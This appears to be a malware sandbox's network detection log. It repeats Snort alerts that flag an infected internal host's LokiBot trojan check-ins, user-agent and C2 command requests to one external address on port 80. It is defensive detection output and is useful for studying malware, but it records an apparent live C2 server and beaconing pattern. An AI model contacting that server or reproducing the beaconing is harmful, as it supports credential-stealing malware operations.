Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49753 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49753 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49756 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49756 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49756 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49757 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49757 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49757 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49758 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49758 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49758 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49759 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49759 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49759 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49760 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49760 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49760 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49761 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49761 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49761 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49762 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49762 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49762 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49763 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49763 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49763 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49765 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49765 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49765 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49766 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49766 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49766 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49767 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49767 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49767 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49768 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49768 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49768 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49769 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49769 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49769 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49770 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49770 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49770 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49771 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49771 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49771 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49772 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49772 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49772 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49773 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49773 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49773 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49774 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49774 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49774 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49775 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49775 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49775 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49776 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49776 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49776 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49777 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49777 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49777 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49778 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49778 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49778 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49779 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49779 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49779 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49780 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49780 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49780 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49781 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49781 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49781 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49782 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49782 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49782 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49783 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49783 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49783 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49784 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49784 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49784 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49785 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49785 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49785 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49786 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49786 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49786 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49787 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49787 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49787 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49788 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49788 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49788 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49789 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49789 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49789 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49790 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49790 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49790 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49791 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49791 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49791 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49792 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49792 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49792 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49793 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49793 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49793 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49794 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49794 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49794 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49795 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49795 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49795 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49796 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49796 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49796 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49797 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49797 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49797 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49798 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49798 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49798 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49799 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49799 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49799 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49800 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49800 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49800 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49801 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49801 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49801 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49802 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49802 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49802 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49803 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49803 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49803 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49804 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49804 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49804 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49805 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49805 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49805 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49806 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49806 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49806 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49807 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49807 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49807 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49808 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49808 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49808 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49809 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49809 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49809 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49810 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49810 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49810 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49811 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49811 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49811 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49812 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49812 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49812 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49813 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49813 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49813 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49814 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49814 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49814 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49815 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49815 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49815 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49816 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49816 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49816 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49817 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49817 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49817 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49818 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49818 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49818 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49819 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49819 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49819 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49820 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49820 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49820 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49821 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49821 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49821 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49822 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49822 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49822 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49823 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49823 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49823 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49824 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49824 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49824 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49826 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49826 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49826 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49827 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49827 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49827 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49828 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49828 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49828 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49829 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49829 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49829 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49831 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49831 -> 172.67.155.45:80
